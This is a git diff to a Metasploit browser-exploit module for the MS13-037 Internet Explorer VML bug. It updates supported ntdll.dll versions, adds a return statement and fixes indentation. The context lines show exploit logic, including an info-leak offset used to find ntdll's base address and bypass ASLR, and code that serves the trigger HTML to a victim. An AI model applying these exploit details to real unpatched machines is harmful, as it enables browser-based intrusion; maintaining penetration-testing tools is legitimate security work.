diff --git a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb
index 6b46fc851a..3448643eb0 100644
--- a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb
+++ b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb
@@ -33,8 +33,8 @@ class Metasploit3 < Msf::Exploit::Remote
 				shapes on the vgx.dll module. This module has been tested successfully on Windows 7
 				SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target
 				to use an info leak to disclose the ntdll.dll base address is provided. This target
-				requires ntdll.dll v 6.1.7601.17514 in order to work (the default dll version on a
-				fresh Windows 7 SP1 installation).
+				requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
+				installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
 			},
 			'License'        => MSF_LICENSE,
 			'Author'         =>
@@ -415,6 +415,7 @@ function exploit(){
 				html = html.gsub(/^\t\t/, '')
 				print_status("Sending HTML to trigger...")
 				send_response(cli, html, {'Content-Type'=>'text/html'})
+				return
 			end
 
 			vprint_status("ntdll leak: 0x#{leak.to_s(16)}")
@@ -428,9 +429,9 @@ function exploit(){
 				@ntdll_version = "6.1.7601.17725" # MS12-001
 				@ntdll_base = leak - 0x47090
 			else
-			print_error("ntdll version not detected, sending 404: #{agent}")
-			send_not_found(cli)
-			return
+				print_error("ntdll version not detected, sending 404: #{agent}")
+				send_not_found(cli)
+				return
 			end
 
 			html = load_exploit_html(my_target, cli)